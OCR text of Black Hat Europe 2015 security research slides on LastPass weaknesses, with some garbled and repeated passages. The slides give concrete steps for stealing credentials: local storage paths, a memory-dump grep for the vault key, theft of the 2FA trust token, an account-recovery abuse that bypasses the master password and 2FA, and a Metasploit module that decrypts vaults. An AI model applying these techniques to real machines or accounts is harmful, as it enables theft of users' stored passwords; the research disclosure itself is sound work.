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miseknat What is L&

e Arguably the most popular password manager

e Enterprise edition
o “More than 10,000 corporate customers ranging in size all the way up
to the Fortune 500”

e Not limited to only credentials
o SSH keys, Credit cards, Personal Documentation, Private notes, etc.
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e |ocal and secure encryption
e Secure encryption keys

e Secure storage

e Creds wiped from memory

e LastPass has no access to your data



black hat

EUROPE 2015

0 Verifyi

e Beautifies every JS file

e Injects a payload into every

function
o console.log([file] [function] [params])

e (et the function trace
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o AES-256
o CBC and ECB 256-BIT

o Custom implementation A E S

e PBKDF?2 ENCRYPTION

o 500/5000 rounds (default) PBKDF 2

o Unauthenticated query KEY DERIVATION
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PBKDF2-SHA256(Username, Master Password, Iterations, 32)



biSekhat

EUROPE 2015

. storac ‘é y(.' ‘
Secure sigrage § (L

e Storage depends on the plugin

o Browser plugin
m SQLite and text files
m Unencrypted
m No root needed

o Binary version
m Uses platform specific secure storage
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var d = c.password;

lpusername = c.username.toLowerCase().replace(/\s*/g, ""
lpusername_hash = 1p_sha256(lpusername);

var e = LP.make_lp_key(1lpusername, d);

lphash = LP.make_lp_hash(lpusername, e, d);
fix_toolbar_mode();

CHANGEKEY (e,

"loginoffline");

XXX IXXKXHXXKIKXIXKKIOKKIIKXKXKXXXXXKKX
T XOOEXXXIOKXIXHXKXXHIOEKXIXHIOKHIKKIHXKIKXXXXXKKX

d
d
C.passwo rd BD0000000 0000000000000 0000000000000000060000604
C.passwo rd B 0000000000000 0000000000000 000000000000000001

e Vault decryption key resides always in memory
o Firefox: strings -n 64 firefox.DMP | grep -x .\{64,64\} | egrep [0-9a-f]{64}
o Chrome: “\x40\x00\x00\x00[?]{32}\x61\x87"”’

e Entire vault is decrypted once and kept in memory
o No need to have both in memory!
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PBKDF2(SHA-256, Per user salt, k’, 100000, 32)

R i i W ool

!
PBKDF2-SHA256(Master Password, k, 1, 32) .
g u Encrypted Vaulit -
by - LastPassEXEIil
53 ] Encrypted Vault




L 1 i\
\ =y P ]

: . ) 0

A g\ 3 b

o -

Sy \




blgc’zk hat

EUROPE 2015

entsidd | R4 AL
ol- 5 ! Y
Client Si “r‘l‘_ N

* %%




O

black hat

EUROPE 20015

Stealing the Master Password
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e Creds stored locally LastPassEXII

Email
o Firefox: prefs.js e BE
O ReSt Of the browsers: SQLIte Master Password

%2 Remember Email

® ECB or CBC 2 Remember Password

o Uu7W1PsEYsWrtAS1Ca7I00H== Show My LastPass Vault After Login

| forgot my password, Help!

o !WaXCJ98b7W|8XYZI’IV2|45A==|4dOHiq +pr50p302tE|\/|th== Screen Keyboard Create an Account
Cancel | Llogin
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Windows

Mac

Unix

blackhat Storage

Chrome Firefox Safari

#luser_profile[ LocalApp #{User_profile[ #{user_profile['LocalAppData #{user_profile['AppData'l}/
Data']}/Google/Chrome/ AppData'])/ 1}/Apple Computer/Safari/ Opera Software/Opera

ot sy Mowil Databases/safari- Stable/databases/chrome-
extension_hdokiejnpimak ozilla/ extension_com.lastpass.Ipsaf extension_hnjalnkldgigidg

edhajhdicegeplioahd 0 Firefox/Profiles ariextension-n24rep3bmn_0 gphhmacmimbdlafdo_0

#{user_profile[ LocalApp  #{user_profile[' #{user_profile['AppData’])/ #{user_profile['LocalAppData']

Data']}/Google/Chrome/ ' : .
Defaul/databases)  LOcCalAppData'l  Safari/Databases/safari- }/COn;;gﬁgasseosf}g}arfmi?era/

i , :
chrome }/Firefox/ extension_com.lastpass.lpsaf extension_hnjalnkidgigidggph

extension_hdokiejnpimak i ; ..
edhajhdicegeplioahd. 0 Profiles ariextension-n24rep3bmn_0 hmacmimbdiafdo_0

#{user_profile['LocalApp

Data'])/.config/google-  #{user_profile[’ 6 6 #{user_profile['LocalApp
satabasesicmome.  LOC@IAppData’] Data']}/.opera/widgets/

extension_hdokiejnpimak }/ mozilla/firefox wu id—*/pstorage

edhajhdlcegeplioahd_0

|IE uses Protected Storage
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»  Master Table (1)

v Tables () TABLE LastPassSavedlLog Search Show All Add Duplicate Edit
» LastPassData rowid username password last_login
» LastPassPreferences 1 test@test.com dMCBEmMSLVUMEDSKT jhdpkw== |1433148421640

»  LastPassSavedlLogins

username
password
last_login

e LastPassSavedLogins2 contains the encrypted
credentials
e No root needed
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user_pref("extensions. lastpass.426561e3e8b3" Toddfcb5. StoreLostPWOTP", true
user_pref("extensions. lastpass.426561e3e8' ~ddfcb5. changedpopupfill”, e
user_pref("extensions. lastpass.426561e3ef idfcb5. lastpollcheck", 1423163694
user_pref("extensions. lastpass.426561e3r ‘¥cb5. noexport", @);

user_pref("extensions. lastpass. 426561 “S.notificationsAfterClick", false
user_pref("extensions. lastpass. 426561 .offerGeneratePasswd", false);
user_pref("extensions. lastpass.42656] ~ opengroups", "(none)&Business")
user_pref("extensions. lastpass. 426561 ’L_._ showFillNotifications", false);
L] -

user_pref("extensions. lastpass. 426561 showFormFillMotifications", f
user_pref("extensions. lastpass. cdedbdfi /.RepromptTime", 8);
user_pref(“extensions. lastpass.cdedbdf 4f7.5toreLostPWOTP", true);
user_pref("extensions.lastpass.cdedbdfd 05f7. changedpopupfill”, true);
user_pref("extensions. lastpass.cdedbdfd :ab5f7. lastpollcheck", 1432753679);
user_pref("extensions. lastpass.cdedbdfd ¢2ab5f7.noexport", 8);
user_pref("extensions. lastpass. cdedbdfd Jcf2ab5f7.notificationsAfterClick",
user_pref("extensions. lastpass.cdedbdf@d

user_pref("extensions. lastpass.cdedbdfd

user_pref("extensions. lastpass.cdedbdf@

user_pref("extensions. lastpass.defaultf

user_pref("extensions. lastpass.defaultff.

user_pref(“extensions. lastpass.disableffpwa=

user_pref("extensions. lastpass. ffhasloggedin®”, true);

user_pref("extensions. lastpass. ffhasloggedinsuccessfully”, true);

user_pref("extensions. lastpass.generateHkKeyCode", 8);

user_pref("extensions.lastpass.generateHkMods", "");

user_pref("extensions. lastpass. homeHkKeyCode", @);

user_pref("extensions. lastpass. homeHkMods", "");

user_pref("extensions. lastpass. loginpws", "bH

user_pref("extensions. lastpass. loginusers", "m

e extensions.lastpass.loginusers: usernames
e extensions.lastpass.loginpws: encrypted passwords
e No root needed
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e Password is encrypted with AES-256-CBC
o IV: Random

o KEY: SHA256(username)
o Data: 1L5b/d0yu4EMdmWCYKASQaw==|cHTFJDy1DQi8dPY0AJL/1B=

T - R
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[r‘oot@netsec /]# comments related other discussions (1)

Featured AMA - Investigative Reporter Brian Krebs [Completed]

This is an archived post. You won't be able to vote or comment.

A look into LastPass - Extracting the master password (.rinvigo.com)
submitted 1 year ago by mubix

138 comments share pocket

5,000

4,000

3,000

2,000

1,000 I

; I . 1

Aug 28 Sep 2 Sep 7 Sep 12 Sep 17 Sep 22
Today Best ever All time

32 50 4,570 9,328 17

Visitors Views views views comments
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What if “Remember Password” was not clicked?



biSekhat

EUROPE 20015

Let’s use €oo

e Problem
o They only let you see what LastPass sees
o Can’t do much with it... or can you?

e Vault decryption key is stored locally
o Encrypted
o LastPass has the decryption key

| 426561e3e8b3596991cadd8ffdd14c5d47a... | rsakey | OEEEC8D5CC15976A171DDB523FC31919D¢
426561e3e8b3596991cadd8ffdd14c5d47a... |otp af8fcaa0931e80d5f61b252198ab639d

426561e3e8b3596991cadd8ffdd14c5d47... v87qnSO0udKQwOcBb4T8+Jmrsrgpf/KxB9Y
| 426561e3e803596991caddsffdd14c5d47a... |icons | Ip4969138336.gif:204:R0IGODINEAAQAOMA/
| 42656123e803596991cadd8ffdd14c5d47a... |bigicons | Ip6c6976652e6366d:9120:VBORWOKGgOAA
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POST /login_check.php(PHPSESSID)

pwdeckey

decryptionKey = SHA256(pwdeckey)

encryptedVaultKey = getEncryptedVaultKeyFromDB()

vaultKey = AES(decryptionKey, encryptedVaultKey)
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What About 2-Factor Authentication?
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L 3 StP ass m Google Authenticator Multifactor Authentication

Run the Google Authenticator application on your mobile device and enter
the verification code in the input box below

Trust this computer

Enter Code:

e Supports multiple methods
o Google Auth, Yubikey, Toopher, etc.
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POST /login.php HTTP/1l.1
Host: lastpass.com
connection: keep-alive
Content-Length: 669
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O5 X 10_10 2) AppleWebKit/537.36 (KHTML, like Gecko)
“hrome/40.0.2214.94 sSafari/537.36
Jrigin: chrome-extension://hdekiejnpimakedhajhdl
Content-Type: application/x-www-form-urlencoded
Accapt: */*

DNT: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.8,es;g=0.6
coockie: lang=es ES) sessonly=0

sentms=1423206028711axml=25usaernane=martinvigot
0dd218f9%cedl00fliciSedochlaversion=3.1.8%&encry
quid=NdAm! %2 ! bmv7slang=:
snse=soutofbandsupported=1Etlostpwotphash=3740af
MTOYMZIWNTKOMCAXNIQ2LexXiDBKe SVEFMXWALMIKITpK2TPhN]

A

L07a65YyU3lzi2BgwilDarequestsrc=criencuser=CVEi2E

UUID is the “trust token”
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e At installation time
e 32 chars
o 0-9A-Za-z!@#$%"&*()_
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e In plaintext

e Firefox
o In the file “Ip.suid”

e Rest of Browsers
o LocalStorage SQLite DB

¢ el o1

o ]':‘: @l

N

A

TABLE ItemTable

rowid

1_

|1p.uid

Search

value
|BLOB (Size: 64)

Show All
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e |ocalStorage and Ip.suid are not encrypted
e Same token for all browser users
e Fixed token till plugin is reinstalled

o Untrusting the browser has no real effect
o Same token when new QR Code is generated

e [oken fixation
o Attacker can set the token on the client for later
e Proactive token stealing

o Steal token today, use it in the future if 2FA is
activated
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What if there is no valid session cookie?



O

black hat

EUROPE 2015

LastPassEXrra

FEATURES HOW IT WORKS GO PREMIUM ENTERPRISE

RECOVER ACCOUNT

Account Recovery using Locally Saved One Time
Password

Enter your LastPass email in the below box.
Click 'Send Email' to have LastPass.com send you an email containing further instructions.

Abusing “Account Recovery”
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blackhat How is it

How is account recovery possible if
LastPass does not know my
credentials and does not have my
encryption key?

Aseasyas 1, 2, 3
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LastPassEXErza

FEATURES HOW IT WORKS GO PREMIUM ENTERPRISE LOG IN

RECOVER ACCOUNT

Account Recovery using Locally Saved One Time
Password

Enter your LastPass email in the below box.
Click "Sand Email® to have LastPass.com send you an email containing further instructions.

SUPPORT ABOUT US ENTERPRISE
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LastPassEXsza

LastPass Account Recovery Request
Hi,

You recently notified us that you forgot your LastPass Master Password and want to use
LastPass Account Recovery to regain access to your account. To do so, click on the below link:

Activate LastPass Account Recovery

The above link will stop working in 2 hours.
If the above link does not work, carefully copy the below URL to your browser:

hitps:/astpass.com/s/?7s=04350 J326a87

If the link does not work, be sure to try the same link in EVERY browser that you've logged into
LastPass with, A separate recovery OTP is stored for each browser.

Please note that LastPass has no access to your account and can't reset your password. You
must use your hint or Account Recovery o regain access to your account.



O Recoverli

black hat

ELROPE 2015 3._ Press t e (“qb |

W pacusH (W

LastPassEXIIl

FEATURES HOW IT WORKS GO PREMIUM ENTERPRISE LOG IN

RECOVER ACCOUNT

Account Recovery using Locally Saved One Time
Password

Press To Recover Account

WHY LASTPASS SUPPORT ENTERPRISE
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e Full, unrestricted access to the vault

e \Ve can set a new master password
o But do not have to!

e No 2FA prompt
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- Account

Emalil
LastPassEIrm

LastPass Account Recovery Request

T Py ki) Pl piae Nk i o kP Mkl Pibbssarard el i it i
" p——————

S v

Recover button

LastPassEITTl

RECOVER ACCOUNT

LastPassEXIEza

Tra oo e wd w

GET /s/78=8aa37bb1bb3FAKEQ3ad4127

>

302 Location: |
&time=1412381291&timehash=340908¢c
&username=test%40test.com&usernameha

recover.php?
B53c099¢c9FAKEBH387002¢c5a4881ebdf1
sh=fc7be7e5i6cbecOFAKE2995bd3331¢c097

POST /otp.php
&hash=ccb2501724FAKE2b575a214e1052
d0fa27b0726b6HASHdb2e1da3952e
< - >
randkey=!

NgiylyxQHDFAKEZqgxpjxtg==|ldnHywgLmuL

HKjVGK7bSOcLO2ywWEZzEOue4LCFVGueE
QHedRetriU404qcUNXTWw1VFAKEJmM3e4z
UrOO0k=
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302 Location: /recover.php?
&time=1412381291&timehash=340908c353c099c9FAKEGBb387002c5a4881ebdf1
&username=test%40test.com&usernamehash=fc7be7e5f6cbcOFAKE2995bd3331c097

e time: timestamp when the recovery was initiated
(the link “expires” in 2 hours)

e timehash: salted hash of the timestamp
e username: the email address

e usernamehash: salted hash of the username


http://40test.com
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e \We need to create a valid timestamp
e \We need to be able to generate the hashes

e \We need the salt
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e Start my own account recovery and reuse

hashes in the victim’'s URL
o Bingo!
m Same salt is used for all users
m Link does not truly expire, just the timestamp is
validated against the hash

m No need to start account recovery, you just need a
valid URL
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e \We still need to change the username parameter
to the victim’s one

e For that we need the global salt

e Salts are not meant to be secret, only random
and unique
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POST /otp.php
&hash=ccb25017c4FAKE2b575a21441055d0fa27b0726b6HASH

e hash: A derived “disabled OTP”

o 2 types of OTPs in LastPass
m [True OTPs

m Disabled OTP
e Let'scallitdOTP
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e Used to recover the vault
o Which ultimately means authentication

e [t's not the vault encryption key

o It's set by default
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e In plaintext

426561 cddfcbh5_ff.sotp

e Firefox
o In the file {SHA256(username)}_ff.sotp

e Rest of Browsers
o SQLite ;&= B ——

»  LostPassData id username_hash  type data
* LastPassPreferences
*  LastPassSavedloging
b LastPassSavedLogins? 1 426561030803, |key |vODANGCdZZ +KujX...
b _ WebKitDatabasalnfoTabla__ 14 |426561030803... |icons |ip3833516436.git47 ..
» sglite_sequence 17 |42656103e803... |bigicons  |ipeEET26365206361...

OEEECEDSCC15876...
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<rorm =" L siteeventform" name="lpwebsiteeventform" onsubmit="return false;"
va lue=""recover"s
ue="b . o
we="" 005 N | - f " -

name="eventtype"
eventdatal’
name="eventdatal"
" name="eventdatal'
name="eventdatad’
name="eventdatas
name="eventdatas’

name="

id="eventtype"
id="eventdatal" va
id="eventdata2" wval

id="eventdatal" w

]
id="eventdatad" va
id="eventdatad" val
id="eventdatat" va

Fra

autocomplete="0

JE=

lue:=

Je=

lues

action="accts.php"=

<input type="hidden’
zinput type="hidden"
«input type="hidden"
<input type="hidden'
<input type="hidden"
<input type="hidden"
<input type="hidden"
=input type="submit"

name="submitbtn">

Jorms

kP <script type=s"text/javascript” nonce="wlcIRZIMIIWYXZIHNKLtHNI4F 7 2ulDkg0Bulyw/DRQCcE=">»_«/5Criptl>
".'ll:l'l"
b adiv Ld="headermarkup”>.</divs
<br=
<link rel="stylesheet” type="text/css" href="/m.pho/voulidcss?l42

F738602">
Mim.php/al 1714266045 14" s« seripts
Him.php/accts?]433344 166" >/ SCripta

«ECript type "[m.1.-']_‘:|.,-.1r..:-_|,1" g

cript type="text/javascript" sri

cript type="text/javascript"” src="/m.poho/otp? 1426183169 script>
escript type="text/javascript" src="/m.php/recover?1433344166" »</script>
jcript type="text/javascript" src="/m,php 440410648 " =/ SCript>
<script type="text/javascript” srce"/m.ohp/otowindow 1430837530 =</ script>
B escript type="text/javascript"” r su Wl CIRZZMITwY X ZHMx LtHhIAF T zu3DkgO0Bulyw/DRGCE=" >« /s5cript>
B <gcript type="text/ javascr ipt" nonce " leIRZZMO TWY X THAx L tHK !-‘pF'.l':L.-_“fll-.uﬂl[lu'_’.,-'..-)'[:Iilq-;E-" s SCripts

v <table cellspacing="@" ce
¥ <t body>

lpadding="'@" sStyle 'A',-J!T"l!."‘li‘!p:-.:'l'.l"l.'|||r'.'|i! auto; "=

¥ <tr=
¥ «<td align="T1left">
b=
«h2=Account Recovery using Locally Saved One Tire Password«/hls
whire
Yadiv id=""stepl"s>

¥ <form name="getuser s
<input type="hidden"
<0 >
=lnput
<D=
<input type="submit"” styles"padding:l@pi" ¢
onclicks"getdTP{); return false;"=

=/ form=

name="otpemail” id="otpemail” value="b| NG co~" -
type="hidden" name="otpfield" id="otpfield" value="995 NG

lass="nbtn rbtn expandbutton” value="Press To Recover ACCount'
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Local-storage

getdOTP(username)

dOTP
—

From dO

token=SHA256(SHA256(username+dOTP2)+dOTP2)

]

fotp.php(username, token)

Set-Cookie: PHPSESSID
randkey

GET /accts3.php

encrypted vault
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e |t's not the vault encryption key
e |[t's the vault encryption key encrypted

e How do we decrypt the vault key?

o Encrypted with AES-256-CBC
m |IV: Random
m Key: SHA256(dOTP)
m Data: IL5b/dOyu4EMdmWCYKASQaw==|cHTFJDy1DQi8dPY0JL/1B=
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e A master password on steroids
o You can use it to authenticate
You can use it to obtain the vault key encrypted
You can use it to decrypt the vault key
It bypasses IP restrictions
It bypasses 2FA
It’s locally stored by default

O O O O O



O

»  Master Table (1)

¥ Tables (6) TABLE
» LastPassData id
» LastPassPreferences 145
» LastPassSavedlLogins 140
» LastPassSavedlLogins2 139
» _ WebKitDatabaselnfoTable__ 142
» sglite_sequence 144
b Views (0)

e Stored locally by default

blacknat  Vault sto ﬂ

LastPassData

username_hash

426561e3e8b35..,
426561e3eBb35...
426561e3e8b35...
426561e3e8b35...
426561e3eBb35...

Search

type
rsakey

otp
key
icons

bigicons

o iterations=x;BASE6G4(encrypted vault)

e Firefox

\

J
Y

Show All

data
F33F10EB1DAFD9938947B4. ..
3eald576b314422a94816968...
9QNsocns1YGIKPN4IVZPIQ. ..

Ip3833516436.gif.472:R0IGO...
IpB66f7263652e636f6d:5388. ..

_ iterations=5000; TFBBVgAA...

o In the file {SHA256(username)} Ips.act.sxml

e Rest of the browsers
o SQLite
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WiFi Password:,
P13wefimdasfwe3d0234jima

Ao

noorﬁi
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e \We know how to get the credentials and derive
the vault key

e \We know how to use dOTPs to obtain and
decrypt the vault key

e \We know where the encrypted vault is, we
understand the format and we know how to
decrypt it
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Automating everything with a post-exploitation

metasploit module
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Steals and decrypts credentials
Steals the 2FA token
Steals/Derives the encryption key
Decrypts the vault

Prints all vault passwords

Supports

o Windows, Mac, Unix

o Chrome, Firefox, Safari and Opera
o Meterpreter and shell

o Multiuser

https://github.com/martinvigo/metasploit-framework/blob/lastpass_creds/modules/post/multi/gather/lastpass_creds.rb
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LastPass Security Notice

“LastPass account email addresses, password
reminders, server per user salts, and
authentication hashes were compromised”
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Let’s get para

HISTORY.COM




e A 1-round PBKDF2-SHA256
of the vault key (auth hash)
No PBKDF2 protection

e The vault key encrypted with

several derived keys:
O SHA256(username + dOTP)

O  SHA256(SHA256(username + OTP)+OTP)
m OTP ==random 16 bytes

No real 256-bit protection

e The “encrypted” vault

- N
oifdinat What doe @ 5

Are you Paranoid?

Yes
WA Q /s

No ’7(’5‘,-'5

2 [
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LPAV745ATVROENCU, R3eAwN/XUL+0/F4gmx8mHzZ581Qd f7Wybt+tnf@+VIM=CBCU1SPMT700000110000NMAC7ACCTX
4969079706, "GON( ™eéeéfU€éd ) ) ]
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4969138336—-var link=1lpcurrpage.document.getElementById("i1668");
if (link&&typeof(g_lpclicked)=="undefined"){if(1lpcurrpage.document.createEventObject){var evt =
lpcurrpage.document.createEventObject(); link.fireEvent("onclick",evt);}else{var evt2 =
lpcurrpage.document.createEvent ("MouseEvents");evt2.initMouseEvent("click", true, true,
lpcurrpage.document.defaultView, 1, @0, 0, 0, 0, false, false, false, false, 0,
null); link.dispatchEvent(evt2); }g_lpclicked=1;} if(1ploc==3){var
pholders=["idDiv_PWD_UsernameExample","idDiv_PWD_PasswordExample","i0116_hint","i0118_hint"]; for(var
i=0; i<pholders. length; i++){if (1lpcurrpage.document.getElementById(pholders[i]))
{lpcurrpage.document.getElementById(pholders[i]).style.display="none"; }}}
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e Urls/Icons/Metadata is not encrypted
m No privacy

m Reset password urls in LastPass
hands

e Credentials often encrypted with
ECB

o Leaks some information about
password length

o Leaks which passwords are identical

o Leaks info about similar passwords
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<?xml version="1.0" encoding="UTF-8"?><response><accounts accts version="785" updated enc="1"

encrypted username="R3eAwN/XUL+0/Fidgmx8mHzZ58iQdf7Wybt+tnf0+v9M=" chec="1"><account name="4mBH1040IKgPkegVjsSG2w==" urid="0" id="4969079706"
url="687474703a2f2f616161616161616161616161" m="0" http="0" fav="0" favico="0" autoclogin="0" basic auth="0" group="kJkNyiSWtRUucrUsWQ+i+g=="
£iid="4969079706" genpw="0" extra="UELQ23S+cZmFDshtJRUZUg==" isbookmark="0" never_autofill="0" last_touch="1446622627" last _modified="1446673196"
sn="0" realm="" sharedfromaid="" pwprotect="0" launch count="0" username="dJtC/nAU3ES8dbng7TXVéng==" groupid="0"><login urid="0"
url="687474703a2f2f616161616161616161616161" submit id="" captcha id="" custom js="" u="dJtC/nAU3ESdbng7TXV6ng==" p="KbXdl5D7cculyt8/ts/nQa==" o=""
method=""></login></account><account name="xNrvskQcheK/WFuir3PvAg==" urid="0" id="4969138336" url="68747470733a2f2f6c6£f67696e2eb6c6976652e636£6d"
m="1" http="0" fav="0" favico="0" autologin="0" basic auth="0" group="/HAsxkhr3GrKjciEQuO¥sSw==" £fiid="4969138336" genpw="0" extra="" isbookmark="0"
never autofill="0" last_touch="1446703073" last modified="1446679835" sn="0" realm="" sharedfromaid="" pwprotect="0" launch_count="0"
username="QZnEH2yA+xoDb0sEHnshJ1lxaab0s85p98MCGyh0284s=" groupid="1"><login urid="0" url="68747470733a2f2f6c6£676%96e2e6c6976652e636£6d" submit id=""
captcha_id="" c¢ustom_js="var link=lpcurrpage.document.getElementById(&quot;ilé68aquot;);

if(link&amp; &amp;typeof(g lpclicked)==&quot;undefined&quot;){if(lpcurrpage.document.createEventObject) {var evt =
lpcurrpage.document.createEventObject(); link. fireEvent(&quot;onclick&quot; ,evt); lelse{var evt2 =

lpcurrpage.document.createEvent( &quot;MouseEventsaquot;);evt2.initMouseEvent( &quot;clickaquot;, true, true, lpcurrpage.document.defaultView, 1, 0,
0, 0, 0, false, false, false, false, 0, null);link.dispatchEvent(evt2);}g lpclicked=1;} if(lploc==3){var

pholders=[ aquot; idDiv PWD UsernameExample&quot;,&quot;idDiv PWD PasswordExample&quot;,&gquot;i0116 hint&quot;,&quot;i0118 hint&quot;|; for(var
i=0;i&lt; pholders.length;i++) {if(lpcurrpage.document.getElementById(pholders[i])) {lpcurrpage.document.getElementById(pholders[i]).style.display=&quo

t;none&guot;;}}}" u="QIZInEH2yA+xoDb0sEHnshJ1lxaab0s85p98MCGYh0284s=" p="ERtB4AwuLstctS8J95yshgA==" o="" method="post"><field name="loginfmt"
type="email" value="QZnEH2yA+xoDb0sEHnshJ1lxaab0s85p98MCEYh0284e="/><field name="passwd" type="password" value="ERtB4AwuLegtctS5J95yshgqhA=="/><field
name="KMSI" type="checkbox" wvalue="1" checked="0"/></login></account><account name="WnjtydPjH2PlUtAmOFH+ow==" urid="0" id="5764357462"
url="68747470733a2£2£7777772e66616365626f6£f6b2e636£6d" m="0" http="0" fav="0" favico="0" autologin="0" basic auth="0"
group="pwvYL0/VVhWNDYCEAQB8MEA==" fiid="5764357462" genpw="0" extra="¥nlbXiqTMeZKYiAhKLmuWg==" isbookmark="0" never_autofill="0"

last touch="1446703404" last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch count="0"
username="AAIWOEhq9k4uThk98FHuew==" groupid="2"><login urid="0" url="68747470733a2£2£f7777772e66616365626f6f6b2e636£6d" submit_id="" captcha_id=""
custom js="function

lastpass_fixfacebook() {if(lpcurrpage.document.location, href.index0f(&quot;/plugins&quot;)i=-1){return;}if(lpcurrpage.document.getElementById(&quot;e

mail&quot;)) {lpcurrpage.document.getElementById(&quot;email&quot;).focus();}if(lpcurrpage.document.getElementById(&quot; pass placeholder&quot;)) {var
ph=lpcurrpage.document.getElementById(&quot; pass placeholdersquot;);if(ph.style.vigibility!=&quot;hidden&quot; &amp;&amp;
ph.style.display!=&guot;none&quot;) {try{ph.focus();}catch(err){}}}}lastpass fixfacebook();setTimeout(&quot;lastpass_fixfacebook();&guot;, 500);"
u="AATIWOEhq9k4uThk98FHuew==" p="Je9JFUczPaGKnr6PkNEUZw==" o="" method=""></login></account><account name="kUwzfdmjAa9xTg7vUadxLg==" urid="0"
id="5764360102" url="68747470733a2f2f7777772e747769747465722e636f6d" m="0" http="0" fav="0" favico="0" autologin="0" basic_auth="0" group=""
£iid="5764360102" genpw="0" extra="vuoTFQM5VAJGEctM4ySjFZjBusXobkcWItMpLtgliUQ=" isbookmark="0" never autofill="0" last touch="1446703448"

last _modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch_count="0" username="WKGOwoclfNNbOgPsHkDmEA=="><lcgin urid="0"
url="68747470733a2f2Ff7777772e747769747465722e636£f6d" submit id="" captcha id="" custom js="" u="WKGOwoclfNNbOgPsHkDmXA=="
p="nF2hNX1zQL1lXz4uE4UQq7A==" o="" method=""></login></account><account name="hKdhQb9HITIQNMpT2v748avVvgFVsgK+wAu0jLot6Eal0=" urid="0" id="5764427612"

url="687474703a2f2f626262626262626262626262622e636£f6d" m="0" http="0" fav="0" favico="0" autologin="0" basic auth="0"
group="fiPqfv454jDJItgDWbZtD/yZcNgKbNVDETY /gQAzZSpmI=" £iid="5764427612" genpw="0" extra="H83v1Egl8/AreswXVOCXNiZdAfgqLOJbzw+zem5FEPxU="

isbookmark="0" never_ autofill="0" last touch="1446098162" last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0"

launch count="0" username="trprqUmhYkk3EeO0A4DUUHQpUGNbAhS8MBXY+XYFDIrU=" groupid="3"><login urid="0"
url="687474703a2f2f626262626262626262626262622e636f6d" submit_id="" captcha_id="" custom js="" u="trprqUmhYkk3Ee0A4DUUHQpUGNbAhSSMBXY+XYFDIru="
p="wfGg+0unaNe5Q0WgwjdLgmjoZ¥d/8rd+qOhbFzp0oKds=" o="" method=""></login></account><account name="wG68TgnKMYP280Q00/UGUDInPGTMo5bIUxHZVnKE4THL="

urid="0" id="5764428582" url="687474703a2f2f6363636363636363636363632e636£6d" m="0" http="0" fav="0" favico="0" autologin="0" basic_auth="0"
group="TOY¥6zg8PDbvc+XFb5/ImBmXAGgzbDuGENELikEZrdW/Re=" f£iid="5764428582" genpw="0" extra="Dfv¥x0pt+tOgkLoZtMvvbIKd+D3ex7voscsMExgdHYjho="

isbockmark="0" never_autofill="0" last_touch="0" last_modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch_count="0"
username="RSGXYGFB1IWhUGlrPM411lniM/vcOvorJArE4AT/5DebHec=" groupid="4"><login urid="0" url="687474703a2f2f6363636363636363636363632e636£6d4"
submit_id="" captcha_id="" custom_js="" u="RSGXYGFBIWhUGlrPM41lln4M/vcOvorJArE4T/5De5Hec=" p="F+yyiOI7avielYBN+1T6u2vSWKGQXhgWTM7YCVv5HEUwW=" o=""

method=""></login></account><account name="8XgL/gWfc/ClOFYo66Udsw==" urid="0" id="5790108372" url="687474703a2f2f736e" m="0" http="0" fav="0"
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<?xml version="1.0" encoding="UTF-8"?><responser<accounts accts_version="785" updated_enc="1"

encrypted username="R3eAwN/XUL+0/Fidgmx8mHzZ58iQdf7Wybt+tnf0+VIMN=" cbec="1"><account name="4mBH104oIKgPkegVjs8G2w==" urid="0" id="4969079706"
url="687474703a2f2f616161616161616161616161" m="0" http="0" fav="0" favico="0" autologin="0" basic auth="0" group="kJKNyiS5WtRUucrUsWQ+i+g=="
£iid="4969079706" genpw="0" extra="UELQ23S+cZmFDshtJRUZUg==" isbookmark="0" never_ autofill="0" last_ touch="1446622627" last modified="1446673196"
sn="0" realm="" sharedfromaid="" pwprotect="0" launch count="0" username="dJtC/nAU3ESdbnq7TXV6ng==" groupid="0"><login urid="0"
url="687474703a2f2f616161616161616161616161" submit_id="" captcha_id="" custom js="" u="dJtC/nAU3ESdbng7TIEV6ng==" p="KbXdl5D7cculyt8/ts/nQAa==" o=""
method=""></login*</account><account name="xNrvskQcheK/WFuir3PvAg==" urid="0" id="4969138336" url="68747470733a2f2f6c6£f67696e2e6c6976652e636£f6d"
m="1" http="0" fav="0" favico="0" autoleogin="0" basic_auth="0" group="/HAsxkhr3GrKjciEQuO¥YSw==" fiid="4969138336" genpw="0" extra="" isbookmark="0"
never autofill="0" last touch="1446703073" last modified="1446679835" sn="0" realm="" sharedfromaid="" pwprotect="0" launch count="0"
username="QZnEH2yA+xoDb0sEHNshJ1lxaab0s85p98MCGYh0284s=" groupid="1"><login urid="0" url="68747470733a2f2f6c6f67696e2e6c6976652e636£6d" submit id=""
captcha_id="" custom js="var link=lpcurrpage.document.getElementById(&quot;ilé68&quot;);

if(link&amp; &amp; typeof(g lpclicked)==&quot;undefined&quot;){if(lpcurrpage.document.createEventObject) {var evt =
lpcurrpage.document.createEventObject(); link. fireEvent(&quot;onclickaquot; ,evt); }else{var evt2 =

lpcurrpage.document.createEvent(&quot; MouseEvents&quot;);evt2.initMouseEvent(&quot;click&quot;, true, true, lpcurrpage.document.defaultView, 1, 0,
0, 0, 0, false, false, false, false, 0, null);link.dispatchEvent(evt2);}g lpelicked=1;} if(lploc==3){var

pholders=[ &quot;idDiv_ PWD_UsernameExample&quot;,&quot;idDiv_PWD_PasswordExample&qguot;, &gquot;i0116_ hint&quot;,&quot;i0118 hint&guot;]; for(var
i=0;i&1t; pholders.length;i++) {if(lpcurrpage.document.getElementById(pholders[i])) {lpcurrpage.document.getElementById(pholders[i]).style.display=&quo

t;none&guot;;}}}" u="QZnEH2yA+xoDb0sEHnshJlxaab0s85p98MCGyh0284s=" p="ERtB4AwuLstctSJ95yshgA==" o="" method="post"><field name="loginfmt"
type="email" value="QZnEH2yA+xoDb0sEHnshJlxaab0s85p98HCAYh0284s="/><field name="passwd" type="password" value="ERtB4AwuLstctSJ95yshgA=="/><field
name="KMSI" type="checkbox" value="1" checked="0"/></login></account><account name="WnjtydPjHZPlUtAmOFH+ow==" urid="0" id="5764357462"
url="68747470733a2f2f7777772e66616365626£f6f6b2e636£6d" m="0" http="0" fav="0" favico="0" autologin="0" basic auth="0"
group="pwvYLO/VVhWNDICEAQBMZA==" £iid="5764357462" genpw="0" extra="¥nl5XiqTHMe2KYiAhKLmuWg==" isbookmark="0" never autofill="0"
